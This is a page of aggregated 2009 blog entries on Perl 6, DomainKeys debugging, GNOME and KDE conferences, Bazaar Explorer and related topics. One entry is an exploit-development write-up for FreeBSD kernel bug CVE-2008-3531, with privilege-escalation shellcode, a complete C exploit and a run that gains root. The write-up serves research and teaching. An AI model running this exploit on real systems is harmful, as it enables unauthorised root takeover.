Recent blog entries

2 Jul 2009 chromatic   » (Master)

Perl 6 Design Minutes for 20 May 2009

<summary type="xhtml">

The Perl 6 design team met by phone on 20 May 2009. Larry, Allison, Patrick, Jerry, and chromatic attended.

Larry:

  • changed the time function to return a Rat
  • thinking about the traits that have been bothering Jonathan and others
  • have some changes to check into the spec when I'm happy with them
  • thinking about the primitives we use to define use
  • breaks down into load and import
  • thinking of establishing compile-time keywords for both concepts
  • intended so that I can import from anything acting like a module -- an inlined role, for example
  • otherwise trying to keep up with the flow of IRC

Allison:

  • working on the Parrot book
  • changed its focus to a small, 100-page PIR book from a monolithic Parrot book
  • the intent is to get something out for YAPC and OSCON
  • will send out a draft for review
  • will merge my changes into the repo later this week

Patrick:

  • released Rakudo #17 last week
  • was easy again
  • 875 more tests since #16, so we pass 68% of the spectest suite
  • finished implementing the root_new opcode in Parrot
  • cleans up a lot of the PMCProxy issues from moving Rakudo to its own HLL
  • gained half of the speed we lost from the migration
  • we'll get more back as we update more places that need it
  • NQP never expected anything like that
  • I have to rework some it and PCT
  • haven't quite figured out how to do that
  • refactoring use and import in Rakudo
  • the current implementation doesn't work
  • will hopefully match with what Larry's putting in the spec
  • it seems like the logical way to do things
  • updated Rakudo's ROADMAP in docs/ROADMAP
  • gives us an idea of dependencies and next tasks
  • may also help people understand what blocks features they want

Jerry:

  • the bonding period has ended for GSoC
  • time for students to start coding
  • everyone on the Perl 6 and Parrot projects is ready

c:

  • fixed some memory leaks in Parrot and Rakudo
  • there are still some in Rakudo, but the web examples should be able to live longer
  • did more profiling
  • think NFG is important for Parrot in the near term
  • have some documentation to write
  • have been editing the Parrot book

Patrick:

  • how's the command line for Rakudo coming?

Jerry:

  • I expect to get back to that

Patrick:

  • the "parens build captures" decision surprised me
  • what's the rationale?
  • I really liked "parens mean grouping"
  • maybe I haven't reconfigured my worldview yet, but it feels messy

Larry:

  • when used in an argument list, it has the same effect as a capture

Patrick:

  • it even works when they're used as a term

Larry:

  • they still mean that you have to look at what you're binding to and decide
  • am I binding this to a scalar or to an array?
  • (1, 2, 3) bound to an array...

Patrick:

  • I'm going to have to think about that
  • the zip operator in slice context....
  • is this three or one positional arguments? zip($a,$b,$c)
  • how many positional arguments are in this case? zip($a,$b,$c;$d)

Larry:

  • one slice
  • you wouldn't want to write that

Patrick:

  • what in the arg list distinguishes the use of the semicolon versus the comma
  • inside of an argument list we have to recognize a variety of syntactic things
  • comma, semicolon, colon, array or hash sigil, named parameters
  • seems like captures need more information than just positional
  • they need to store metadata about positional arguments
  • I like the syntactic stuff showing up in the argument list
  • but I don't want to handle them in three different ways

Larry:

  • I'll have to think about that

Patrick:

  • haven't figured out how to deal with slice context either

Larry:

  • might say that the presence of a semicolon implies the presence of other parens
  • the comma implies...
  • that might be more consistent binding for a top-level list

Patrick:

  • I half expected that answer
  • I can see the semicolon as just a lower precedence grouping operator

Larry:

  • otherwise you have a semicolon that's just not there in every other argument list

Patrick:

  • assuming that, the other commas form an argument list through the infix semicolon
  • an array in there means Capture of Capture of Capture
  • we were about to refactor List and Array in Rakudo anyway
  • the question is "Do we really have a List type now?"
  • Rakudo assumes that

Larry:

  • if we can unify args list with List, that's probably healthy

Patrick:

  • I'd really like that
  • that makes things a lot cleaner
  • infix comma and infix semis now just create arglists

Larry:

  • or Lists
  • if you define List as "something that has out of band metadata"

Patrick:

  • any more decisions that you can make about that will help our implementation
  • I probably won't get around to that this week

Larry:

  • we make syntactic distinctions
  • we know that this is an arg list
  • we treat pairs as named arguments
  • we don't do that if we know it's not an argument list
  • it stays positional
  • that's the only distinction between an arg list and a List
  • purely syntactic

Patrick:

  • to summarize
  • zip($a, $b, $c) has three positional arguments
  • zip($a, $b, $c; $d) has two, the first of which is itself a list/capture
</summary>

Syndicated 2009-07-02 23:03:51 from pudge

2 Jul 2009 etbe   » (Master)

DomainKeys and OpenSSL have Defeated Me

I have previously written about an error that valgrind reported in the STL when some string operations were performed by the DKIM library [1]. This turned out to be a bug, Jonathan Wakely filed GCC bug report #40518 [2] about it, Jonathan is one of many very skillful people who commented on that post.

deb http://www.coker.com.au lenny gcc

I’m still not sure whether that bug could actually harm my program, Nathan Myers strongly suggested that it would not impact the correct functionality of the program but mentioned a possible performance issue (which will hurt me as the target platform is 8 or 12 core systems). Jaymz Julian seems to believe that the STL code in question can lead to incorrect operation and suggested stlport as an alternative. As I’m not taking any chances I built GCC with a patch from Jonathan’s bug report for my development machines and then built libdkim with that GCC. I created the above APT repository for my patched GCC packages. I also included version 3.4.1 of Valgrind (back-ported from Debian/Unstable) in that repository.

Nathan Myers also wrote: “Any program that calls strtok() even once may be flagged as buggy regardless of any thread safety issues. Use of strtok() (or strtok_r()) is a marker not unlike gets() of ill thought out coding.” I agree, I wrote a program to find such code and have eliminated all such code where it is called from my program [3].

I think it’s unfortunate that I have to rebuild all of GCC for a simple STL patch. My blog post about the issue of the size and time required to rebuild those packages [4] received some interesting comments, probably the most immediately useful one was to use --disable-bootstrap to get a faster GCC build, that was from Jonathan Wakely. Joe Buck noted that the source is available in smaller packages upstream, this is interesting, but unless the Debian developers package it in the same way I will have to work with the large Debian source packages.

I have filed many bug reports against the OpenSSL packages in Debian based on the errors reported by Valgrind [5]. I didn’t report all the issues related to error handling as there were too many. Now my program is often crashing when DomainKeys code is calling those error functions, so one of the many Valgrind/Helgrind issues I didn’t report may be the cause of my problems. But I can’t report too many bugs at once, I need to give people time to work on the current bug list first.

Another problem I have is that sometimes the libdkim code will trigger a libc assertion on malloc() or free() if DomainKeys code has been previously called. So it seems that the DomainKeys code (or maybe the OpenSSL code it calls) is corrupting the heap.

So I have given up on the idea of getting DomainKeys code working in a threaded environment. Whenever I need to validate a DomainKeys message my program will now fork a child process to do that. If it corrupts the heap while doing so it’s no big deal as the child process calls exit(0) after it has returned the result over a pipe. This causes a performance loss, but it appears that it’s less than 3 times slower which isn’t too bad. From a programming perspective this was fairly easy to implement because a thread of the main program prepares all the data and then the child process can operate on it – it would be a lot harder to implement such things on an OS which doesn’t have fork().

DomainKeys has been obsoleted by DKIM for some time, so all new deployments of signed email should be based on DKIM and systems that currently use DomainKeys should be migrating soon. So the performance loss on what is essentially a legacy feature shouldn’t impact the utility of my program.

I am considering uploading my libdomainkeys package to Debian. I’m not sure how useful it would be as DomainKeys is hopefully going away. But as I’ve done a lot of work on it already I’m happy to share if people are interested.

Thanks again for all the people who wrote great comments on my posts.

Syndicated 2009-07-02 22:54:53 from etbe - Russell Coker

2 Jul 2009 argp   » (Journeyer)

CVE-2008-3531: FreeBSD kernel stack overflow exploit development

About four months ago I developed a reliable exploit for vulnerability CVE-2008-3531, which is also addressed in the advisory FreeBSD-SA-08:08.nmount. In this post I will use this vulnerability to provide an overview of the development process for FreeBSD kernel stack exploits.

CVE-2008-3531 is a kernel stack overflow vulnerability that affects FreeBSD versions 7.0-RELEASE and 7.0-STABLE, but not 7.1-RELEASE nor 7.1-STABLE as the CVE entry seems to suggest. <!--more-->

The bug is in function vfs_filteropt() at src/sys/kern/vfs_mount.c:

1800:    int
1801:    vfs_filteropt(struct vfsoptlist *opts, const char **legal)
1802:    {
1803:        struct vfsopt *opt;
1804:        char errmsg[255];
1805:        const char **t, *p, *q;
1806:        int ret = 0;
1807:
1808:        TAILQ_FOREACH(opt, opts, link) {
1809:                p = opt->name;
1810:                q = NULL;
1811:                if (p[0] == 'n' && p[1] == 'o')
1812:                        q = p + 2;
1813:                for(t = global_opts; *t != NULL; t++) {
1814:                        if (strcmp(*t, p) == 0)
1815:                                break;
1816:                        if (q != NULL) {
1817:                                if (strcmp(*t, q) == 0)
1818:                                        break;
1819:                        }
1820:                }
1821:                if (*t != NULL)
1822:                        continue;
1823:                for(t = legal; *t != NULL; t++) {
1824:                        if (strcmp(*t, p) == 0)
1825:                                break;
1826:                        if (q != NULL) {
1827:                                if (strcmp(*t, q) == 0)
1828:                                        break;
1829:                        }
1830:                }
1831:                if (*t != NULL)
1832:                        continue;
1833:                sprintf(errmsg, "mount option <%s> is unknown", p);
1834:                printf("%s\n", errmsg);
1835:                ret = EINVAL;
1836:        }
1837:        if (ret != 0) {
1838:                TAILQ_FOREACH(opt, opts, link) {
1839:                        if (strcmp(opt->name, "errmsg") == 0) {
1840:                              strncpy((char *)opt->value, errmsg,
                                          opt->len);
1841:                        }
1842:                }
1843:        }
1844:        return (ret);
1845:    }

The first step of the exploit development process involves identifying the vulnerability’s conditions and assessing its impact.

In line 1833 sprintf() is used to write an error message to a locally declared static buffer, namely errmsg declared in line 1804 with a size of 255 bytes. The variable p used in sprintf() is a pointer to the mount option’s name. Conceptually a mount option is a tuple of the form (name, value). The vulnerable sprintf() call can be reached from userland when p‘s (i.e. the mount option’s name) corresponding value is invalid, but not NULL (due to the checks performed in the first TAILQ_FOREACH loop). For example, the tuple (“AAAA”, “BBBB”) satisfies this condition; the mount option’s value is the string “BBBB” which is invalid and not NULL therefore p would point to the string “AAAA”. Both the mount option’s name (p) and the mount option’s value are user-controlled. This allows the overflow of the errmsg buffer by supplying a mount option name of arbitrary length and as we will see below, less importantly in this case, arbitrary content. Since errmsg is on a kernel stack, we can use the overflow to corrupt the current stack frame’s saved return address with the ultimate goal of diverting the kernel’s execution flow to code of our own choosing.

Now that we have explored the conditions and concluded that we can indeed achieve arbitrary code execution we have to explore the ways we can trigger the vulnerability. There are many possible execution paths to reach vfs_filteropt() from userland. After browsing FreeBSD’s file system stacking source code for a couple of minutes I decided to use the following:

nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt()

By default on FreeBSD the nmount(2) system call can only be called by root. In order for it to be enabled for unprivileged users the sysctl(8) variable vfs.usermount must be set to a non-zero value.

At this point we know that the vulnerability can potentially lead to arbitrary code execution and how to trigger it. The next step is to find a place to store our arbitrary code and divert the kernel’s execution flow to that memory address. Due to the structure of the format string used in the sprintf() call, we do not have direct control of the value that overwrites the saved return address in vfs_filteropt()‘s kernel stack frame.

However, indirect control is more than enough to achieve arbitrary code execution. When p points to a string of 248 ‘A’s followed by NULL (i.e. 248 * ‘A’ + ‘\0’) the saved return address is overwritten with the value 0x6e776f, that is the “nwo” of “unknown” in the sprintf()‘s format string. Using the exploitation methodology of kernel NULL pointer dereference vulnerabilities, we can use mmap(2) to map memory at the page boundary 0x6e7000. Then we can place our arbitrary kernel shellcode 0x76f bytes after that. Therefore, when the corrupted saved return address with the value 0x6e776f is restored into the EIP register the kernel will execute our instructions that have been mapped to this address.

The next step in the exploit development process is to write these instructions. Specifically, our kernel shellcode should:

  • locate the credentials of the user that triggers the vulnerability and escalate his privileges,
  • ensure kernel continuation. In other words, the system must be kept in a running condition and stable after exploitation.
User credentials specifying the process owner’s privileges in FreeBSD are stored in a structure of type ucred defined at src/sys/ucred.h:
45:  struct ucred {
46:      u_int   cr_ref;                 /* reference count */
47:  #define cr_startcopy cr_uid
48:      uid_t   cr_uid;                 /* effective user id */
49:      uid_t   cr_ruid;                /* real user id */
50:      uid_t   cr_svuid;               /* saved user id */
51:      short   cr_ngroups;             /* number of groups */
52:      gid_t   cr_groups[NGROUPS];     /* groups */
53:      gid_t   cr_rgid;                /* real group id */
54:      gid_t   cr_svgid;               /* saved group id */
           ...

A pointer to the ucred structure exists in a structure of type proc defined at src/sys/proc.h:

484:  struct proc {
485:   LIST_ENTRY(proc) p_list;           /* (d) List of all processes. */
486:   TAILQ_HEAD(, thread) p_threads;    /* (j) all threads. */
487:   TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */
488:   struct mtx      p_slock;           /* process spin lock */
489:   struct ucred    *p_ucred;          /* (c) Process owner's identity. */
           ...

The address of the proc structure can be dynamically located at runtime from unprivileged processes in a number of ways:

  • The sysctl(3) kern.proc.pid kernel interface and the kinfo_proc structure.
  • The allproc symbol that the FreeBSD kernel exports by default.
  • The curthread pointer from the pcpu structure (segment FS in kernel context points to it).
You can find more information about the first alternative in the talk I gave on FreeBSD kernel stack overflows at the University of Piraeus Software Libre Society, Event #16: Computer Security (unfortunately the slides from the talk are only available in Greek currently). The second alternative will be the subject of a future post. In the developed exploit I will use the third alternative.

The other task that our shellcode should perform is to maintain the stability of the system by ensuring the kernel’s continuation. One way to approach this would be to port Silvio Cesare’s “iret” return to userland approach (presented at his “Open source kernel auditing and exploitation” Black Hat talk) to FreeBSD. Although a full investigation of Silvio’s “iret” technique on FreeBSD would be very interesting, it is beyond the scope of this post.

In order to successfully return to userland from the kernel shellcode I will use another approach. Remember that the execution path I decided to take is nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt(). After the shellcode has performed privilege escalation it could return to where vfs_filteropt() was supposed to return, that is in msdosfs_mount(). However that is not possible since msdosfs_mount()‘s saved registers have been corrupted when vfs_filteropt()‘s stack frame was smashed by the overflow. The values of these saved registers cannot be restored, consequently there is no safe way to return to msdosfs_mount() after privilege escalation. The solution I have implemented in the exploit bypasses msdosfs_mount() completely and returns to the pre-previous from vfs_filteropt() function, namely vfs_donmount(). The saved registers’ values of vfs_donmount() are uncorrupted in msdosfs_mount()‘s stack frame. To make this more clear, consider the following pseudocode that is based on the relevant deadlisting part:

/* this function's saved registers' values are uncorrupted */
vfs_donmount()
{
    ...
    msdosfs_mount();
    ...
}

msdosfs_mount()
{
    ...
    vfs_filteropt();
    ...
    /* stack cleanup, restore saved registers */
    addl    $0xe8, %esp
    popl    %ebx
    popl    %esi
    popl    %edi
    popl    %ebp
    ret
}

Taking into consideration the above analysis, the complete kernel shellcode for the developed exploit is the following (you can download it from here):

.global _start
_start:

movl    %fs:0, %eax         # get curthread
movl    0x4(%eax), %eax     # get proc from curthread
movl    0x30(%eax), %eax    # get ucred from proc
xorl    %ecx, %ecx          # ecx = 0
movl    %ecx, 0x4(%eax)     # ucred.uid = 0
movl    %ecx, 0x8(%eax)     # ucred.ruid = 0

# return to the pre-previous function, i.e. vfs_donmount()
addl    $0xe8, %esp
popl    %ebx
popl    %esi
popl    %edi
popl    %ebp
ret

Now we have a way to safely return from kernel to userland and ensure the continuation of the exploited system. The complete exploit is (you can download it from here):

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define BUFSIZE     249

#define PAGESIZE    4096
#define ADDR        0x6e7000
#define OFFSET      1903

#define FSNAME      "msdosfs"
#define DIRPATH     "/tmp/msdosfs"

unsigned char kernelcode[] =
    "\x64\xa1\x00\x00\x00\x00\x8b\x40\x04\x8b\x40\x30"
    "\x31\xc9\x89\x48\x04\x89\x48\x08\x81\xc4\xe8\x00"
    "\x00\x00\x5b\x5e\x5f\x5d\xc3";

int
main()
{
    void *vptr;
    struct iovec iov[6];

    vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);

    if(vptr == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    vptr += OFFSET;
    printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);

    memcpy(vptr, kernelcode, (sizeof(kernelcode) — 1));

    mkdir(DIRPATH, 0700);

    iov[0].iov_base = "fstype";
    iov[0].iov_len = strlen(iov[0].iov_base) + 1;
    
    iov[1].iov_base = FSNAME;
    iov[1].iov_len = strlen(iov[1].iov_base) + 1;
    
    iov[2].iov_base = "fspath";
    iov[2].iov_len = strlen(iov[2].iov_base) + 1;
    
    iov[3].iov_base = DIRPATH;
    iov[3].iov_len = strlen(iov[3].iov_base) + 1;

    iov[4].iov_base = calloc(BUFSIZE, sizeof(char));

    if(iov[4].iov_base == NULL)
    {
        perror("calloc");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }

    memset(iov[4].iov_base, 0x41, (BUFSIZE — 1));
    iov[4].iov_len = BUFSIZE;

    iov[5].iov_base = "BBBB";
    iov[5].iov_len = strlen(iov[5].iov_base) + 1;

    printf("[*] calling nmount()\n");

    if(nmount(iov, 6, 0) < 0)
    {
        perror("nmount");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }

    printf("[*] unmounting and deleting %s\n", DIRPATH);
    unmount(DIRPATH, 0);
    rmdir(DIRPATH);

    return EXIT_SUCCESS;
}

Finally, a sample run of the exploit:

[argp@leon ~]$ uname -rsi
FreeBSD 7.0-RELEASE GENERIC
[argp@leon ~]$ sysctl vfs.usermount
vfs.usermount: 1
[argp@leon ~]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
[argp@leon ~]$ ./cve-2008-3531
[*] vptr = 0x006e776f
[*] calling nmount()
nmount: Unknown error: -1036235776
[argp@leon ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)

And this concludes my post. I hope you enjoyed reading this as much as I enjoyed writing it.

Syndicated 2009-07-02 17:19:56 (Updated 2009-07-02 23:39:50) from www.census-labs.com blog posts by author

2 Jul 2009 joey   » (Master)

DebConf9

I'm going to DebConf, and will be giving what I think is the first talk I've ever done about debhelper there. Incidentially, debhelper in experimental has some nice new features.

I have no idea how I'm getting from the Madrid airport to Cáceres, and would rather spend time working on my talk than trying to book tickets internationally, so I hope buying train tickets at the station is not a foolish plan..

Syndicated 2009-07-02 19:46:46 from see shy jo

2 Jul 2009 sness   » (Journeyer)

katie and the diamonds




<object height='230' width='400'><param value='true' name='allowfullscreen'/><param value='always' name='allowscriptaccess'/><param value='http://vimeo.com/moogaloop.swf?clip_id=5310254&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1' name='movie'/><embed height='230' width='400' allowscriptaccess='always' allowfullscreen='true' type='application/x-shockwave-flash' src='http://vimeo.com/moogaloop.swf?clip_id=5310254&server=vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1'/></object>

Marina & The Diamonds, "I Am Not A Robot" from Neon Gold Records on Vimeo.



Syndicated 2009-07-02 18:05:00 from sness

2 Jul 2009 apenwarr   » (Master)

On Montreal Highway Construction

Last week I tried to pick someone up at the Montreal airport and got stuck in the most ridiculous traffic jam I've ever been part of, taking 2 hours to travel 4 kilometers.

pmccurdy sent me a story from the Montreal Gazette explaining the situation. Tip to Montreal highway industry: signs that tell people before getting to the insane traffic jam that you have pre-scheduled an insane traffic jam for the next 30 days, so they can maybe take an alternate route, would be more than welcome.

My favourite comment on the article was a response to someone who compared Montreal's construction industry to that of a third-world country. The response was:

    In a real top notch third world city, people wouldn't have to walk to the airport. There would be mopeds and donkeys and bicycle rikshaws etc.

You know, if someone had passed me on a donkey, I think it would have cheered me up.

Syndicated 2009-07-02 16:00:34 from apenwarr - Business is Programming

2 Jul 2009 rodrigo   » (Master)

GCDS expectations

With just a few hours before I leave to Gran Canaria, here’s a list of things I personally would like to get from the conference:

  • I’ve been to all GUADEC’s except for 2 (Stuttgart and Istanbul), and every time I’ve missed one GUADEC, I was doubly excited to go to the next one, so this year, having missed last year’s, this is the case again.
  • Since for the first time we are having a joint KDE/GNOME, I am expecting to have a big push on collaboration and cooperation between the 2 projects. I am not sure what would come out of this, but we should all really be looking for this, since it would just help both projects a lot. So, keep the rivalry only for the sport activities, please (maybe a KDE vs GNOME football game? :-) )
  • As I’ve already blogged about recently, we (at Canonical) are trying to push CouchDB use to the desktop. I’ve got all the code I’ve been working on ready to be shown (karmic packages here, but broken for jaunty right now, sorry), so if someone wants to see it in action (a technology preview, of course, not everything is done yet), just find me around and I’ll do a personal demo (a better demo if you buy me a beer :-D ). Other Canonical staff will be around also showing these (and other) technologies, so if interested, just ask.
  • GNOME 3.0 plans and technologies like mutter, gnome-shell.
  • I only played the FreeFA tournament in Vilanova (yeah, was part of the cool champion team), so looking forward to revalidate the title :-D
  • Mojo Picón, a spicy hot sauce typical from the Canary Islands. Make sure you try the Papas Arrugadas with that sauce.
  • Have a lot of fun!

Only bad thing is that I’m going to miss the first few days of San Fermín festival in Pamplona, but well, since I’ll be back home on the 10th, I’ll have the chance to enjoy the last few days of it. As I said other times, please use other dates than July 6th to 14th next year!

See you all in Gran Canaria!

Syndicated 2009-07-02 14:53:04 from Rodrigo Moya

2 Jul 2009 ralsina   » (Master)

Yay! sphinx-rst2pdf-builder works!

Ok, it kinda works a little.

I got commit rights in the mercurial repo, so now you can get the very very alpha version here.

This triggered several bugs in rst2pdf, so you need SVN rst2pdf for it to work.

What works:

  • Glossary
  • Plain restructured text ... with some caveats (example: footnotes are semi-broken)
  • Index generation (not 100%, but maybe 75%)

I don't know what other pieces of sphinx require specific rst2pdf support, but I will be hitting them as they come.


Syndicated 2009-07-02 11:25:06 from Lateral Opinion

2 Jul 2009 marnanel   » (Journeyer)

More Joule: UI changes

Briefly, since I'm busy:

Since it was a fairly trivial fix, I implemented a two-stage system in Joule last night, as suggested here: there's just a username box on the front page, and it takes you to an intermediate page where you pick the service.  Most people bookmark their chart page and don't use the controls, and I was aiming to make the controls simpler even at the possible cost of a few extra seconds for a first-time user.  I'm asking for feedback for or against this idea.  I've only heard one reply so far and they didn't like it.  What do you think?

Syndicated 2009-07-02 14:36:41 from Monument

2 Jul 2009 ianclatworthy   » (Master)

Bazaar Explorer by Pictures


While building a GUI application is pretty easy these days, designing a good one remains a difficult problem. It took many years before I found GUI emails clients more productive than pine and just as long before programming in an IDE was more productive than the best editors around. As a dedicated fan/developer of Bazaar, I’ve spent most of the last few years being a command-line junkie. In recent weeks though, I’ve started up a project that aims to change that: Bazaar Explorer.

Bazaar Explorer is a cross-platform desktop application that runs on Windows, GNOME, KDE and OS X. It doesn’t try to be a poor implementation of a file manager or a brain-dead IDE. Instead, it focuses on version control stuff: managing branches, managing changes and collaboration. While it’s not cooked enough yet for me to completely abandon the command line, it’s coming along nicely and is proving just as productive, if not more so, for some common version control tasks. Here’s a brief introduction by pictures.

On start-up, a Welcome page is presented if a location isn’t specified:

Welcome - Bazaar Explorer

As shown above, I’ve created bookmarks to several of the repositories I have on my PC, one repository per project. I also have some bookmarks that navigate straight to commonly accessed branches. (”core” is the core Bazaar project btw.)

Double-clicking on a repository opens the repository view:

core - Bazaar Explorer

At the top are the branches (and other objects) nested inside the repository. Below that are details about the currently selected object. Double-clicking on a branch opens it:

review [core] - Bazaar Explorer

This gives a status report on the current working tree: any conflicts found, what’s new, what’s changed, etc. From the report, you can click on a file to open it in your editor or see the per-file diff. The full diff, together with a heap of other branch operations, is available by clicking on the relevant toolbar button.

Easy access to Bazaar’s various configuration files is provided by the Settings menu:

Settings - Bazaar Explorer

Furthermore, you can define your own tools and launch them from the Tools menu. In Explorer, a tool is either a special bzr command (like lp-open or pqm-submit), a local application (like KCacheGrind or Qt Designer) or a web site.

Tools - Bazaar Explorer

Explorer recognises that many users have different needs at different times: one open source project vs another, work vs home, one client vs another, advanced user vs trainer, etc. As such, you can create, download and switch “hats” – collections of tools and bookmarks you want to use together.

Switch Hat - Bazaar Explorer

Even better than defining your own tools is reusing a set of tools that someone else has already put together! If you’re a core developer or team leader on a project, you can define a hat for others to use and include links to all the important websites they’ll need: the issue tracker, wiki, build server, qa results, etc. That ought to mean less ramp up time for new contributors on open source projects or new staff on in-house projects. See http://bazaar-vcs.org/BzrExplorer/Hats for details.

In summary, I think Bazaar Explorer is pretty cool. For a weekend project that only started in June, I’m blown away by how quickly it’s come together. I can thank the combination of cool technology (Python, Qt, bzrlib, QBzr, bzr-gtk) and keen early adopters for that. A special thanks goes to Alexander Belchenko who has helped heaps, removing bugs almost as quickly as I’ve put them in. :-) If you haven’t already, please give Bazaar Explorer a try. If you like it, please consider translating it to your native language and/or joining the Bazaar Explorer Developers team. We’d love to have more developers on board, particularly if you’re a KDE or OS X user.

Syndicated 2009-07-02 15:02:04 from Agile Teams, Open Software, Passionate Users

2 Jul 2009 quad   » (Journeyer)

We took a booze cruise down the Zambezi river. The occupants of...

<summary type="xhtml">


We took a booze cruise down the Zambezi river.

The occupants of the ship consisted of the crew, a Ugandan/Zambian couple, and us. Oh, and an entire art program from a magnet school outside Ft. Worth, Texas&#x2014; with their chaperones. No drinking for them. But, what could us lushes on the boat do when Captain Joe told us to drink the bar out?

The best part is I wasn&#x2019;t breaking any &#x201C;contributing to the delinquency&#x201D; laws by slipping beers to the kids.

However, it wasn&#x2019;t all fun and hijinks. There were wild hippos and crocodiles to avoid being thrown into by teetotal adults.

</summary>

Syndicated 2009-07-02 13:26:09 from David Ryland Scott Robinson

2 Jul 2009 argp   » (Journeyer)

FreeBSD kernel stack overflows

Last May (2008/05/30) I presented my research on FreeBSD kernel stack overflows at the University of Piraeus Software Libre Society, Event #16: Computer Security. The slides from the talk are now available in our research section. <!--more-->

In the talk I explored in detail the process of exploiting kernel stack overflows in the 7.0 production release of the FreeBSD operating system. There were extensive examples and live experimentation, all of which are unfortunately not reflected in the supporting slides. The main contribution of the study is the development of a kernel exploitation algorithm and the presentation of comprehensive i386 kernel shellcode. Although the focus was on the then most current production release of FreeBSD (7.0), the presented algorithm and methodologies are applicable to both the latest stable (7.1) and current (8.0) FreeBSD versions.

Syndicated 2009-02-20 13:40:04 (Updated 2009-06-29 15:57:43) from www.census-labs.com blog posts by author

2 Jul 2009 mones   » (Journeyer)

Go virtual and die

Yesterday I got a interesting announce in my inbox: try our hosting solution for free during two months. The announce came from the nice people of Gandi, the registrar where I maintain my mones.org domain.

So far, so good. Applied and got my share in minutes. The features are not impressive, just the minimal: 256 MB RAM, 3 GB (system) + 5 GB (data) disk, 5 Mbit bandwidth and a 1/60th part of the processor, which is marketed as something between a Pentium III and Via C7 processor (not very informative).
What took most time was to wait the reverse DNS to be active because of my change of mind in the middle of the process :-). The system installed was Debian Lenny, of course, and took just minutes.

Less than 24 hours later you can see what happens, and I have not access to the server... despite I love the way Gandi does business those are not the things that inspire confidence in a hosting solution :-(.

Syndicated 2009-07-02 10:38:13 from Ricardo Mones

2 Jul 2009 wingo   » (Master)

guadec ho!

<content type="xhtml">

Does anyone have the address of the Mr and Mrs Vengaboy? I have a patch for them.

--- /tmp/were-going-to-ibiza.txt	2009-07-02 11:41:09.000000000 +0200
+++ /tmp/were-going-to-gran-canaria.txt	2009-07-02 11:40:53.000000000 +0200
@@ -1,8 +1,8 @@
 Whoa!
-We're going to Ibiza!
+We're going to Gran Canaria!
 Whoa!
 Back to the island!
 Whoa!
 We're going to have a party!
 Whoa!
-In the Mediterranean Sea!
+In the Atlantic Sea!

Anyone? Perhaps they have a Bugzilla somewhere.

<center>* * *</center>

I wrote to Federico earlier to let him know I was down for hippietime, saying I'd be at GUADEC from Saturday evening to Thursday at midday. He was surprised I was leaving early, which made me realize: why was I being so miserly with my time?

I think my thought was that somehow I couldn't afford to be away for so long, that maybe I should make it back and work the Friday. Ridiculous. I changed my flights so I'm leaving on Sunday instead. See you there, GNOME kin!

</content>

Syndicated 2009-07-02 09:42:50 from wingolog

2 Jul 2009 etbe   » (Master)

Web Hosting After Death

Steve Kemp writes about his concerns for what happens to his data after death [1]. Basically everything will go away when bills stop being paid. If you have hosting on a monthly basis (IE a Xen DomU) then when the bank account used for the bill payment is locked (maybe a week after death) the count-down to hosting expiry starts. As noted in Steve’s post it is possible to pay for things in advance, but everything will run out eventually.

One option is to have relatives keep the data online. With hard drives getting bigger all the time it wouldn’t be difficult to backup the web sites for everyone in your family to a USB flash device and then put it online at a suitable place. Of course that relies on having relatives with the skill and interest necessary.

The difficult part is links, if the domain expires then links will be broken. One way of alleviating this would be to host content with Blogger, Livejournal, or other similar services. But then instead of the risk of a domain being lost you have the risk of a hosting company going bankrupt.

It seems to me that the ideal solution would be to have a hosting company take over the web sites of deceased people and put adverts on them to cover the hosting costs. As the amount of money being spent on Internet advertising will only increase while the costs of hosting steadily go down it seems that collecting a lot of content for advertising purposes would be a good business model. If the web sites of dead people are profitable then they will remain online.

It wouldn’t be technically difficult to extract the data from a blog server such as Wordpress (either from a database dump or crawling the web site), change the intra-site links to point to a different domain name, and then put it online as static content with adverts. If a single company (such as Google) had a large portion of the market of hosting the web sites of dead people then when someone died and had their web site transferred the links on the other sites maintained by the same company could be automatically adjusted to match. A premium service from such a company could be to manage the domain. If they were in the domain registrar business it would be easy to allow someone to pay for 10 or 20 years after their death. Possibly with a portion of the advertising revenue going towards extending the domain registration. I think that this idea has some business potential, I don’t have the time or energy to implement it myself and my clients are busy on other things so I’m offering it to the world.

Cory Doctorow has written an article for the Guardian about a related issue – how to allow the next of kin to access encrypted data when someone is dead [2]. One obvious point that he missed is the possibility that he might forget his own password, a small injury from a car accident could cause that problem.

It seems strange to me that someone would have a great deal of secret data that needs strong encryption but yet has some value after they are dead. Archives of past correspondence to/from someone who is dead is one category of secret data that is really of little use to anyone unless the deceased was particularly famous. Probably the majority of encrypted data from a dead person would be best wiped.

For the contents of personal computers the best strategy would probably be to start by dividing the data into categories according to the secrecy requirements. Publish the things that aren’t secret, store a lot of data unencrypted (things that are not really secret but you merely don’t want to share them with the world), have a large encrypted partition that will have it’s contents lost when you die, and have a very small encrypted device that has bank passwords and other data that is actually useful for the executors of the will.

One thing that we really need is to have law firms that have greater technical skills. It would be good if the law firms that help people draw up wills could advise them on such issues and act as a repository for such data. It seems to me that the technical skills that are common within law firms are not adequate for the task of guarding secret electronic data for clients.

Syndicated 2009-07-02 06:03:43 from etbe - Russell Coker

2 Jul 2009 marnanel   » (Journeyer)

Cascade of attention-deficit teenagers

